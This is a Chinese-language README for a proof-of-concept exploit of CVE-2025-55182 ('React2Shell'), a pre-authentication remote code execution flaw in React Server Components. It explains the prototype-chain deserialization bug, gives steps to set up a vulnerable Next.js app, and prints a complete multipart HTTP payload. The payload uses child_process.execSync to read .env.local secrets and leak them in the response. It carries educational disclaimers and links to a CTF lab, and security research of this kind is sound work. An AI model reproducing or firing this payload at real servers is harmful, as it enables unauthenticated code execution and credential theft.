该仓库包含CVE-2025-55182的POC,这是一个严重(CVSS评分10.0)的预认证远程代码执行漏洞,影响React Server组件,也称为React2Shell。
⚠️ 警告:此仓库仅供教育和安全研究使用。请勿将本漏洞利用程序用于未经您明确授权测试的系统。
本仓库包含 CVE-2025-55182 的概念验证演示,这是一个影响 React 服务器组件的严重预认证远程代码执行漏洞。
CVSS 评分: 10.0(严重)
受影响版本:
react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpackCVE-2025-55182 是 React 服务器组件 Flight 协议实现中的一个不安全反序列化漏洞。该漏洞允许未经身份验证的攻击者通过构造恶意载荷,利用原型链遍历和不安全的属性访问模式,在服务器上执行任意 JavaScript 代码。
该漏洞源于 React 服务器组件反序列化 Flight 协议载荷的方式。在处理模块引用时,代码使用方括号表示法访问属性(moduleExports[metadata[2]]),这会遍历整个 JavaScript 原型链。这使得攻击者能够引用未明确导出的属性,包括 constructor 属性,从而可以访问全局的 Function 构造函数。
通过将原型污染技术与 React 内部的块处理机制相结合,攻击者可以构造一个最终通过 Function 构造函数执行任意代码的载荷。
使用包含受影响 React 服务器组件的版本创建一个新项目:
npx [email protected] poc-react2shell
cd poc-react2shell
或者使用本仓库。
在项目根目录创建一个 .env.local 文件以演示漏洞影响:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
启动 Next.js 开发服务器:
npm run dev
服务器应在 http://localhost:3000 上启动。
http://localhost:3000/POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
响应中应包含您的 .env.local 文件内容,显示在响应正文中:

载荷由三个多部分表单字段组成:
字段 0: 一个伪造的块对象,包含:
$1:__proto__:then)$B1337)_prefix 和 _formData.get 的污染 _response 对象字段 1: 对字段 0 的引用($@0)
字段 2: 一个空数组([])
_prefix 中的恶意代码通过 Node.js 的 child_process.execSync 读取 .env.local,并将结果嵌入到错误摘要中。
此漏洞允许攻击者:
在真实场景中练习此 CVE
想要在动手 CTF 环境中利用 CVE-2025-55182?请查看 OSS OopsSec Store,这是一个为攻击性安全训练而设计的故意存在漏洞的实验室。此 CVE 已作为其中一个 flag 实现!
本概念验证仅用于教育目的和安全研究。在测试任何系统上的安全漏洞之前,请确保您拥有明确的书面的许可。